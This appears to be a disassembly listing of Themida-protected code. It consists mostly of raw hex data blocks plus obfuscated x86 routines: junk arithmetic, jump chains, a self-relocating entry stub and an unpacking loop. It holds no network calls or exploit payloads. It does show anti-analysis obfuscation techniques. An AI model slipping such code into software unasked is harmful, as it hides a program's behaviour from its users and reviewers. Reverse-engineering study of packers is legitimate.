		dd 0E1577E57h, 9D894B4Eh, 60715B9h, 0B1BD8361h,	1060732h
		dd 19E850Fh, 0D98B0000h, 2A1BD83h, 0F000607h, 18F84h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 2FCDBE74h, 10E9h, 8D692500h,	1943A707h, 67DDF04Ch, 0A20060D1h
		dd 3BBD8364h, 6074Bh, 14E840Fh,	8C0F0000h, 0Ah,	8B616060h
		dd 70BED8Dh, 858D6106h,	609A3A6h, 0A318D89h, 0B58B0607h
		dd 6074AE8h, 0FFD8B70Fh, 9D9D33D0h, 0C6060731h,	7152585h
		dd 85895406h, 60711F1h,	4E8h, 4EBEF400h, 0DF8B66FFh, 66605050h
		dd 0BA66FE8Bh, 5B61F1B5h, 424448Bh, 8BD08B66h, 0B0566000h
		dd 95B95938h, 615B19CEh, 4244489h, 9E8h, 0FE6E1600h, 64730EFEh
		dd 8B66CB75h, 0B6585AD3h, 39B5FF28h, 89060729h,	7034985h
		dd 8D858D06h, 6A060738h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 4E3FC353h, 69C378F9h
		dd 55958B03h, 0FF060718h, 52006AD0h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 6EF1214Dh
		dd 7E82867h, 0D0000000h, 0EC5F064h, 0B70F0C48h,	6A5AD8h
		dd 19418529h, 958B0607h, 6071319h, 9D8BFF6Ah, 6070315h
		dd 0FFD78B66h, 0FF50B7D0h, 71B39B5h, 0F3816606h, 95899C2Eh
		dd 60715A9h, 191D95FFh,	6A0607h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 35A223C3h, 0E9844E50h
		dd 8, 64AF9D83h, 0E5E9DBF1h, 4AE8B58Bh,	0D08A0607h, 3840FC3h
		dd 0F000000h, 0B58BDAB7h, 6071A29h, 2CC5958Bh, 0F60B0607h
		dd 35840Fh, 0CE800000h,	0A18D3193h, 0C606070Bh,	6A0006h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 0EA9E6FC3h, 39BA66D6h, 9958BE3h, 89060724h, 74AF085h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 0A486F685h, 0F00F883h, 39E84h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 0CD6D934Ah, 38F38150h, 5B70A822h, 0B8h, 0D8DA8000h
		dd 0F00F883h, 10684h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 0F9952921h, 8906070Fh
		dd 71935BDh, 2F88306h, 0A2850Fh, 0B5010000h, 6071355h
		dd 416B858Dh, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 8BF549C3h, 706299Dh, 9292D06h, 0D18B0000h
		dd 89B4B250h, 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 48C963C3h, 0C915D9E1h, 6595893Ah
		dd 89060714h, 71A219Dh,	6AC306h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 498F2CC3h, 0DDB15E3h
		dd 0DE903C0h, 0FA000000h, 0CBFDD15Ah, 8D8008B3h, 833B8EB8h
		dd 0B8h, 0B5896000h, 6070B05h, 1A09B589h, 0E9610607h, 27Bh
		dd 0FE8h, 44A7F200h, 0F0E5A6E5h, 1181F75Ch, 0B13F7DA7h
		dd 0BA19589h, 0B85A0607h, 1, 0CE8h, 9F412400h, 47E9BDFEh
		dd 0E402BAE8h, 68E0F14h, 29000000h, 70B0595h, 0BD8D5A06h
		dd 6074170h, 285195BBh,	0EDE957h, 0BA660000h, 0F88382F2h
		dd 58850F02h, 0F000000h, 0BD8DD9B7h, 6074368h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0D6C35747h, 0FCB614C5h
		dd 0B2E9h, 14E86000h, 0E8000000h, 85651462h, 0C70E4A98h
		dd 0FA8F07E5h, 58763D57h, 31FB658Ah, 726399Dh, 8E0F5806h
		dd 2, 83615A56h, 850F03F8h, 1Bh, 36D958Bh, 0BD8D0607h
		dd 60744FCh, 0CF7DBA66h, 6AE9h,	259D8B00h, 8306072Dh, 850F05F8h
		dd 5Bh,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h
		dd 8C35040h, 1D575AF8h,	9952B0Ah, 60060700h, 689950Bh
		dd 0E9610607h, 0ACh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 0CBC35545h, 1C4647A7h, 2D952965h, 5706070Ch
		dd 0D3F38166h, 0B717B997h, 0D38B4D93h, 0F003F83h, 6F84h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 0F6E41423h, 0CF800607h, 800F30ABh, 0C9D1DCC2h
		dd 6870Fh, 0B5290000h, 6071CD9h, 52006A47h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 0A836A5ECh
		dd 91B69EBh, 718E98Dh, 0CFBB6606h, 0FF8EE9CFh, 0BD29FFFFh
		dd 60711B5h, 0F05F883h,	0B285h,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 0BBD42630h
		dd 7179844Eh, 10E8h, 0FF478600h, 0F2692041h, 50F47834h
		dd 46E715F7h, 7D8D89BCh, 5B060732h, 89D98C66h, 702F9BDh
		dd 4C1F606h, 32850Fh, 9D2B0000h, 6071E0Dh, 0B8h, 0C19D0B00h
		dd 0E9060703h, 4Bh, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 37C35747h, 1D0D858Bh,	6A0607h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 4AB636C3h, 0FFEC647Ch, 0C6F281E0h, 836A4CD8h, 7191DBDh
		dd 850F0006h, 0ECh, 0AE860h, 25730000h,	0E0204261h, 0E0165E48h
		dd 5EF2BF0Fh, 0B2D8D8Bh, 50610607h, 0DFE298BAh,	24048933h
		dd 3FD8509h, 85C60607h,	6071525h, 619D3145h, 6806070Bh
		dd 0BA61399Ah, 70BB66h,	0F3243481h, 89341350h, 719A985h
		dd 39B5FF06h, 6A060729h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 6CB5C353h, 6E940h
		dd 406F0000h, 0B78F1C3h, 388D858Dh, 6A0607h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 4B74AAC3h
		dd 0F821DFBBh, 6AD0FFh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 8EA04EC3h, 0AE90F33h, 23000000h
		dd 434282AAh, 4F0BAF0Ah, 1D858919h, 0F060719h, 581h, 21D1BA00h
		dd 66581097h, 0F9DBA3BBh, 4B3FBD83h, 0F000607h,	3284h
		dd 0E3816600h, 0B5FFA29Ah, 6071B39h, 1375958Bh,	10E90607h
		dd 74000000h, 0E7201F7Ah, 0CC41F32Bh, 3E63AA4Ah, 0FFF2B9D3h
		dd 7191D95h, 0C4BB6606h, 83D2B3E4h, 850F00F8h, 0D6h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 9AC35545h, 9D72D1C9h
		dd 515ED88h, 31F3BB66h,	11E1BD83h, 0F000607h, 5184h, 0BAEB8100h
		dd 0E97D3116h, 5, 91A5D951h, 0E1B5FF8Dh, 8B060711h, 70CE195h
		dd 1B806h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 0C87C8EC3h, 80BF646Dh, 9531D1E3h
		dd 6070F91h, 1BFE9h, 0B5FFF900h, 6071B39h, 0B5FFC6B7h
		dd 6071B39h, 0D88BDE8Bh, 191DB5FFh, 9D8B0607h, 6071581h
		dd 0E9DBBF0Fh, 198h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 83C35040h, 82940FF8h,	316DAFFCh, 830Fh
		dd 0E85F0000h, 0Dh, 71060B28h, 48CD819Bh, 8E6B8D85h, 0BD9D0144h
		dd 5B060704h, 1201BD83h, 0F000607h, 0D985h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 9AD6F2E3h, 0F372F1Dh, 687h, 19852900h, 8B060719h, 718B995h
		dd 2585C606h, 4D060715h, 11E9h,	17B30800h, 6D6D3354h, 126788F7h
		dd 0C23E7A8h, 5968B55Bh, 0E99CFE95h, 0Eh, 17633915h, 71A287C4h
		dd 0BFE44BFFh, 34815CECh, 0CBE3F124h, 71958938h, 8B06072Fh
		dd 7176995h, 99B5FF06h,	0E8060731h, 8, 0D30243FAh, 50BB6E1Dh
		dd 2091958Bh, 8D5B0607h, 7388D85h, 0F9B58906h, 0FF060715h
		dd 52006AD0h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 85F53FA1h, 0CD99D8Bh, 9D8B0607h,	6071C45h
		dd 12018589h, 0BB660607h, 0B841C3h, 0F000000h, 0DA80DEBFh
		dd 0E8BD8958h, 0F06074Ah, 680h,	899D8B00h, 0B06071Ch, 29840FC0h
		dd 0F000000h, 683h, 0D950900h, 0E9060715h, 38h,	12800Fh
		dd 6E80000h, 0D5000000h, 7693E59Bh, 85958B26h, 5A060721h
		dd 191DB5FFh, 9D0B0607h, 6071A9Dh, 0A3A6858Dh, 95010609h
		dd 60718B5h, 89F88A50h,	5B522404h, 0BD8D5650h, 60751FFh
		dd 76708D8Dh, 0BCB80607h, 2B748323h, 0D00730CFh, 754947C8h
		dd 83585EF8h, 711E1BDh,	6740006h, 5A98D8Bh, 0C9330607h
		dd 0B8h, 0FC00B00h, 9984h, 35BD8300h, 60713h, 95FF0674h
		dd 60731F9h, 0B8h, 75C00B00h, 0F0BD8309h, 106074Ah, 0BD830974h
		dd 6074AF0h, 8B0E7502h,	74AE8B5h, 0A6858D06h, 0FF0609A3h
		dd 0F3858DD0h, 0FF060740h, 0ADBD83D0h, 206071Bh, 0A58B2F75h
		dd 6072F51h, 11E1858Bh,	4890607h, 9985C724h, 1060728h
		dd 8B000000h, 74AECB5h,	0FDAD8B06h, 0B8060700h,	1, 0EB000CC2h
		dd 9985C700h, 1060728h,	8B000000h, 72F51A5h, 1DB58B06h
		dd 8B060718h, 700FDADh,	0C2C03306h, 0BD83000Ch,	6070C49h
		dd 830F7400h, 7266DBDh,	6740006h, 266D95FFh, 0B58B0607h
		dd 6074AE8h, 10E381C3h,	8B1AD3B8h, 71D4D95h, 8D8B6006h
		dd 6072955h, 25D9D8Bh, 0BA610607h, 0
		dd 9F95BA66h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_5433DC
; ---------------------------------------------------------------------------

loc_5433DA:				; CODE XREF: Themida_:005433DFj
		inc	eax
		inc	edi

loc_5433DC:				; CODE XREF: Themida_:005433D8j
		cmp	byte ptr [edi],	0
		jnz	short loc_5433DA
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_54340B
; ---------------------------------------------------------------------------

loc_5433E8:				; CODE XREF: Themida_:0054340Dj
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_543400
; ---------------------------------------------------------------------------

loc_5433FD:				; CODE XREF: Themida_:00543403j
		mul	ebx
		dec	esi

loc_543400:				; CODE XREF: Themida_:005433FBj
		cmp	esi, 0
		ja	short loc_5433FD
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax

loc_54340B:				; CODE XREF: Themida_:005433E6j
		or	eax, eax
		jnz	short loc_5433E8
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		db 89h,	85h, 0DDh
		dd 6A060718h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 256AC353h, 8BEDB8F2h, 1ADE9C1h
		dd 8B600000h, 8B242474h, 0FC28247Ch, 68A80B2h, 47078846h
		dd 2BBh, 0FD20200h, 585h, 46168A00h, 830FD212h,	0FFFFFFE2h
		dd 850FD202h, 5, 1246168Ah, 6A830FD2h, 33000000h, 0FD202C0h
		dd 585h, 46168A00h, 830FD212h, 12Ah, 850FD202h,	5, 1246168Ah
		dd 2C013D2h, 5850FD2h, 8A000000h, 0D2124616h, 0D202C013h
		dd 5850Fh, 168A0000h, 13D21246h, 0FD202C0h, 585h, 46168A00h
		dd 0C013D212h, 6840Fh, 2B570000h, 5F078AF8h, 0BB470788h
		dd 2, 0FFFF70E9h, 1B8FFh, 0D2020000h, 5850Fh, 168A0000h
		dd 13D21246h, 0FD202C0h, 585h, 46168A00h, 820FD212h, 0FFFFFFDEh
		dd 1BBC32Bh, 0F000000h,	3485h, 1B900h, 0D2020000h, 5850Fh
		dd 168A0000h, 13D21246h, 0FD202C9h, 585h, 46168A00h, 820FD212h
		dd 0FFFFFFDEh, 2BF78B56h, 5EA4F3F5h, 0FFFF08E9h, 0E0C148FFh
		dd 46068A08h, 1B9E88Bh,	2000000h, 5850FD2h, 8A000000h
		dd 0D2124616h, 0D202C913h, 5850Fh, 168A0000h, 0FD21246h
		dd 0FFFFDE82h, 7D003DFFh, 830F0000h, 22h, 5003Dh, 0E820F00h
		dd 41000000h, 2BF78B56h, 5EA4F3F0h, 0FFFEB4E9h,	7FF883FFh
		dd 3870Fh, 0C1830000h, 0F78B5602h, 0A4F3F02Bh, 0FE9BE95Eh
		dd 68AFFFFh, 0C0C93346h, 840F01E8h, 17h, 8B02D183h, 0F78B56E8h
		dd 0A4F3F02Bh, 1BB5Eh, 76E90000h, 2BFFFFFEh, 8928247Ch
		dd 611C247Ch, 0BA0008C2h, 929h,	2209DE9h, 59003F00h, 2
		dd 59002800h, 5ABCC102h, 5ABCC100h, 5AB7CF00h, 12FF6800h
		dd 24600h, 200h, 100h, 400h, 4CBC5900h,	0FAh, 4	dup(0)
		dd 549AB900h, 544A2B00h, 544B5E00h, 54EFF200h, 54BD6A00h
		dd 547B9600h, 547ED100h, 543C5A00h, 54AB4D00h, 545B8300h
		dd 54DB0100h, 549E2E00h, 54FB3400h, 547B0A00h, 54B35800h
		dd 54A20000h, 5484C500h, 54433100h, 54A43B00h, 54E45400h
		dd 547DDC00h, 54899300h, 54F2D200h, 5470C300h, 54602100h
		dd 54D99000h, 54575000h, 54A71400h, 5465CB00h, 54C72D00h
		dd 54FD1200h, 54E1CD00h, 54F0E500h, 54D94E00h, 5465E400h
		dd 54CC4400h, 54418700h, 5454C000h, 54C68800h, 548D2900h
		dd 54CD7600h, 54744700h, 54759000h, 54BB0F00h, 54541100h
		dd 545C7500h, 5487D100h, 54538A00h, 5491B000h, 54AFBA00h
		dd 54B06A00h, 54E06D00h, 54616B00h, 5469E600h, 54922C00h
		dd 54CBCC00h, 54BB7C00h, 543B9D00h, 5440E000h, 5475EC00h
		dd 549BB000h, 54B2FC00h, 54E9B600h, 54D61B00h, 54A98D00h
		dd 544B5400h, 544C8E00h, 544EC400h, 543CCE00h, 54722F00h
		dd 54F83500h, 54830200h, 54733600h, 5460DD00h, 54592C00h
		dd 5482E000h, 54829200h, 54A6FA00h, 54E48200h, 54B35100h
		dd 54992300h, 54FC4500h, 54BF5900h, 54AB4100h, 544E1300h
		dd 54D12F00h, 54CAC300h, 54DABF00h, 54500500h, 5455E900h
		dd 54BA9300h, 5470F400h, 54A93A00h, 5458E800h, 54C03300h
		dd 549B1100h, 54F71A00h, 549F4600h, 5473C900h, 544C6500h
		dd 544C0C00h, 54700700h, 54655700h, 54EF2D00h, 54504600h
		dd 54947D00h, 548F4800h, 547B4700h, 54ACC600h, 547ADE00h
		dd 543D3700h, 543DA900h, 54A74700h, 54C5E800h, 54DBB500h
		dd 54B82900h, 54BF6700h, 54E99600h, 54880900h, 54D36300h
		dd 5441F700h, 546F4900h, 54B72C00h, 54B9FD00h, 54892500h
		dd 54B40F00h, 543C3700h, 54E3EE00h, 5465EE00h, 54A60400h
		dd 54422F00h, 547FD900h, 54F4CE00h, 54E89400h, 54631500h
		dd 54EB1900h, 549CD400h, 5496CF00h, 545B1A00h, 5458FF00h
		dd 54CFE400h, 54A7FE00h, 54D4C900h, 54966200h, 54CB6900h
		dd 54736A00h, 545E8C00h, 5491D300h, 548BD400h, 54DA4800h
		dd 5487B700h, 54533600h, 5459ED00h, 5487E000h, 547B1400h
		dd 543AE700h, 5497C200h, 54B28200h, 54774B00h, 54F3CB00h
		dd 54E5C000h, 54801F00h, 547B2300h, 54863500h, 54B8A100h
		dd 54778300h, 54ED5F00h
		db 0
; ---------------------------------------------------------------------------

loc_5438DD:				; CODE XREF: Themida_:00596436j
					; Themida_:00597A43j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 6077C8Ch
		mov	eax, edi
		add	edi, 60779A4h
		cmp	eax, [edi+2Ch]
		jnz	short loc_5438FB
		jmp	short loc_54390E
; ---------------------------------------------------------------------------

loc_5438FB:				; CODE XREF: Themida_:005438F7j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_54390A
; ---------------------------------------------------------------------------

loc_543905:				; CODE XREF: Themida_:0054390Cj
		add	[edi+ecx*4+40h], eax
		dec	ecx

loc_54390A:				; CODE XREF: Themida_:00543903j
		or	ecx, ecx
		jnz	short loc_543905

loc_54390E:				; CODE XREF: Themida_:005438F9j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1

loc_54391B:				; CODE XREF: Themida_:00543922j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_54391B

loc_543924:				; CODE XREF: Themida_:00545519j
					; Themida_:00545798j ...
		lodsb
		push	dx
		mov	dh, 11h
		add	al, dh
		pop	dx
		sub	al, bl
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, 11h
		jmp	loc_54EF72
; ---------------------------------------------------------------------------

loc_54393C:				; CODE XREF: Themida_:0054EB89j
		inc	ebx
		xor	ebx, 1DAD94ABh
		sub	[edi+20h], ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_54A030
; ---------------------------------------------------------------------------
		dw 815Fh
		dd 4C7h, 0AC6E900h, 88520000h, 0B9C68C6h, 4890000h, 9E95E924h
		dd 0C6680000h, 0E9000046h, 81D0h
; ---------------------------------------------------------------------------

loc_543978:				; CODE XREF: Themida_:005489AFj
		not	edx
		jmp	loc_543DD7
; ---------------------------------------------------------------------------

loc_54397F:				; CODE XREF: Themida_:0054A3B5j
		pop	bx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_548B30
; ---------------------------------------------------------------------------
		dd 0FF241C89h, 5B042474h, 5C24048Fh, 9C240401h,	0FFFF7FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5439A5:				; CODE XREF: Themida_:0054F99Cj
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		push	ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	eax
		jmp	loc_54471E
; ---------------------------------------------------------------------------

loc_5439CB:				; CODE XREF: Themida_:0054A6F5j
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_54AAD7
; ---------------------------------------------------------------------------
		db 68h,	0A6h, 64h
		dd 34890000h, 0F1E95524h, 8300001Fh, 0C8704C1h,	9616E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5439F2:				; CODE XREF: Themida_:005459D3j
		mov	ebx, 4
		sub	ebp, 763C6F9Ah
		sub	ebp, ebx
		add	ebp, 763C6F9Ah
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		push	edi
		mov	edi, 4
		jmp	loc_549534
; ---------------------------------------------------------------------------
		dw 0C183h
		dd 240C3304h, 0A6F8E9h
		db 0
; ---------------------------------------------------------------------------

loc_543A25:				; CODE XREF: Themida_:0054C2D0j
		or	eax, eax
		jz	loc_54F64A
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		jmp	loc_544494
; ---------------------------------------------------------------------------
		dd 8004C483h, 815082EBh, 4ECh, 241C8900h, 4E93DB3h, 890000BDh
		dd 6866241Ch, 2FE93E4Ch, 660000B0h, 6600B60Fh, 66239D68h
		dd 0E9240489h, 0FFFFFEB8h
; ---------------------------------------------------------------------------

loc_543A6C:				; CODE XREF: Themida_:00545D43j
		dec	ebx
		push	ecx
		mov	ecx, 3D183048h
		sub	ecx, 0E2C5B123h
		sub	ebx, ecx
		pop	ecx
		add	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_548E89
; ---------------------------------------------------------------------------
		dd 87048F66h, 0FFFE87E9h, 672068FFh, 4890000h, 0DBBA5224h
		dd 0E9103E5Ah, 9AE1h, 48E9DFF7h
		db 43h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_543AB7:				; CODE XREF: Themida_:0054B1B7j
		pop	esi
		inc	esi
		push	ebp
		mov	ebp, 681A3793h
		jmp	loc_54E929
; ---------------------------------------------------------------------------

loc_543AC4:				; CODE XREF: Themida_:00543E50j
		xor	[esp], esi
		push	dword ptr [esp]
		pop	eax
		push	edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_54C7BD
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0D7682404h, 0E9000056h, 8A61h
; ---------------------------------------------------------------------------

loc_543AF4:				; CODE XREF: Themida_:00548C84j
		xor	ecx, ebx
		pop	ebx
		add	esi, 37A3F23h
		sub	esi, ecx
		sub	esi, 37A3F23h
		pop	ecx
		not	esi
		dec	esi
		jmp	loc_5456B1
; ---------------------------------------------------------------------------

loc_543B0E:				; CODE XREF: Themida_:00547BEDj
		push	ebx
		not	dword ptr [esp]
		jmp	loc_54B70B
; ---------------------------------------------------------------------------

loc_543B17:				; CODE XREF: Themida_:0054EF77j
		mov	cl, 61h
		shr	cl, 7
		not	cl
		jmp	loc_5484B2
; ---------------------------------------------------------------------------
		db 86h
		dd 2D8E9C3h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_543B2A:				; CODE XREF: Themida_:005459C7j
		and	edi, 40B233ADh
		sub	edi, 2A2CD422h
		sub	eax, edi
		pop	edi
		push	281Ah
		jmp	loc_54AFD3
; ---------------------------------------------------------------------------
		db 68h
		align 8
		dd 59240C29h, 6253BA52h, 0F2813682h, 7A49123Ch,	0DAF7D2F7h
		dd 32C7EA81h, 85E912A9h, 0B1000062h, 0CC885004h, 0CAE9E688h
		dd 0BB000062h, 308A57C4h, 64C6BA52h, 0EB811246h, 130A63F3h
		dd 0C381D329h, 130A63F3h, 754FE9h, 1C875A00h, 24248B24h
		dd 8782E9h, 2434FF00h, 5A2434FFh, 5304C483h, 1AE9E389h
		dd 52000041h, 8B52C289h, 0C481243Ch, 4,	0F889505Ah, 0FF585D50h
		dd 815F2434h, 4C4h, 0FF585500h,	96E92434h, 8B0000C0h, 0C4812414h
		dd 4, 4EC81h, 14890000h, 801EB224h, 88505BF2h, 88D4F6D4h
		dd 24048BE2h, 8004C483h, 0C28001C2h, 44F9E9CEh,	0D0010000h
		dd 0E0D68h, 0BFB4E900h,	815A0000h, 4C2h, 6FE0E900h, 5EBF0000h
		dd 813F850Bh, 8A25D0F7h, 0E9F8011Fh, 1CC1h
; ---------------------------------------------------------------------------

loc_543C30:				; CODE XREF: Themida_:0054A398j
		sub	ecx, ebx
		jmp	loc_54C179
; ---------------------------------------------------------------------------
		db 66h
		dd 5024048Bh, 7B6BE9h, 4C28100h, 87000000h, 515C2414h
		dd 503B3C68h, 0CB295943h, 0A705E959h, 8B660000h, 8951240Ch
		dd 4C181E1h, 57000000h,	5E1BA1BFh, 0E7C14F7Eh, 87EF8102h
		dd 8130FC11h, 8332A8E7h, 0A4EF8128h, 29080010h,	0C875FF9h
		dd 0C895C24h, 4EC8324h,	81242489h, 42404h, 75E90000h
		db 48h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_543C9F:				; CODE XREF: Themida_:00549290j
		mov	[esp], ecx
		mov	ecx, 3BE92FF0h
		push	ecx
		add	dword ptr [esp], 7250560Ch
		pop	eax
		sub	eax, 7250560Ch
		mov	ecx, [esp]
		add	esp, 4
		xchg	eax, esi
		push	0
		sub	[esp], esi
		pop	esi
		xchg	eax, esi
		jmp	loc_5476F9
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 4DE92424h, 89FFFFFCh, 0D3BA2414h, 8103C256h,	2A3133E2h
		dd 81DAF74Bh, 9E30F0C2h, 5FE9427Bh
		db 8Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_543CF3:				; CODE XREF: Themida_:0054758Bj
		sub	esp, 4
		mov	[esp], ebx
		mov	eax, [esp]
		push	edi
		push	esp
		pop	edi
		push	761Ah
		jmp	loc_54E0F9
; ---------------------------------------------------------------------------
		dd 0EF68h, 0B8D7E900h, 0E9550000h, 0AE7Eh
; ---------------------------------------------------------------------------

loc_543D1C:				; CODE XREF: Themida_:0054877Fj
		pop	edx
		jmp	loc_54F9A1
; ---------------------------------------------------------------------------

loc_543D22:				; CODE XREF: Themida_:0054F6FBj
		jnz	loc_54D3AC
		push	ecx
		push	ebx
		mov	ebx, 22855453h
		mov	ecx, ebx
		pop	ebx
		jmp	loc_5456DE
; ---------------------------------------------------------------------------
		db 66h
		dd 8324048Bh, 348904ECh, 685E5424h, 2581h, 6604E9h
		db 0
; ---------------------------------------------------------------------------

loc_543D4D:				; CODE XREF: Themida_:0054EA2Cj
		add	dword ptr [esp], 1
		mov	edi, [esp]
		add	esp, 4
		dec	edi
		sub	edi, 3F613C34h
		or	edi, 46AC0C06h
		or	edi, 62A00961h
		add	edi, 10431085h
		add	eax, edi
		pop	edi
		jmp	loc_54B295
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0B25BDE05h, 8028E93Fh, 0C1FE0000h, 8052E980h, 0C828FEE9h
		dd 5486E9h, 2C68300h, 31243433h, 0C8E92434h
		db 4Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_543DA3:				; CODE XREF: Themida_:0054C010j
		pop	esi
		jmp	loc_548364
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
aXsdc		db 'XéD—',0
		align 2
		dw 2C89h
		dd 2474FF24h, 9610E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_543DBE:				; CODE XREF: Themida_:00543E87j
		mov	eax, 981959h
		and	eax, 724F4E51h
		add	eax, 3963352Eh
		add	eax, 0FFFFFFFFh
		jmp	loc_54D8D4
; ---------------------------------------------------------------------------

loc_543DD7:				; CODE XREF: Themida_:0054397Aj
		push	ebp
		sub	esp, 4
		jmp	loc_544A36
; ---------------------------------------------------------------------------
		db 0BFh
		dd 70BB6251h, 521E781h,	0C78123BEh, 0DF460003h,	815FFD01h
		dd 4ECh, 437CE900h, 0B5510000h,	80DDF646h, 0ED80D9CDh
		dd 59EB3047h, 883FF380h, 0C4FE5BDCh, 8002E4C0h,	0EC80BFE4h
		dd 58E328BEh, 3013E9h, 50E28900h, 4B8h,	2468E900h, 34FF0000h
		dd 240C8B24h, 7A70E9h
		db 0
; ---------------------------------------------------------------------------

loc_543E41:				; CODE XREF: Themida_:0054EB2Aj
		pop	dword ptr [esp]
		xchg	ebp, esi
		not	ebp
		xchg	ebp, esi
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_543AC4
; ---------------------------------------------------------------------------

loc_543E55:				; CODE XREF: Themida_:0054A9BAj
		xor	edi, 271419D3h
		xor	edi, 382FB0B0h
		sub	eax, 7385229Bh
		sub	eax, edi
		jmp	loc_54C12C
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 1Fh
		db 82h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_543E73:				; CODE XREF: Themida_:0054716Dj
		not	eax
		xchg	eax, ebx
		xchg	ebx, edx
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		push	795h
		mov	[esp], ebp
		push	eax
		jmp	loc_543DBE
; ---------------------------------------------------------------------------
		dd 5E4701BDh, 4272E921h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_543E96:				; CODE XREF: Themida_:00547F3Fj
		pop	esi
		add	edx, ecx
		mov	ecx, [esp]
		jmp	loc_54B1A1
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 0A3h
		dd 0C171A676h, 0F38102E3h, 0C699DA8Eh, 93F4E9h,	14896600h
		dd 9C506624h, 0FFFA63E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_543EC1:				; CODE XREF: Themida_:0054A6B0j
		mov	ebp, esi
		pop	esi
		sub	ebp, 0B2BE20E2h
		jmp	loc_5477D8
; ---------------------------------------------------------------------------
		db 31h
		dd 54015EF2h, 148B0424h, 4C48124h, 5D000000h, 4C581h, 0E1E90000h
		dd 8900005Ah, 4C381E3h,	81000000h, 4EBh, 241C8700h, 2424895Ch
		dd 9978E9h, 240C8900h, 42474FFh, 24048F59h, 0E924248Bh
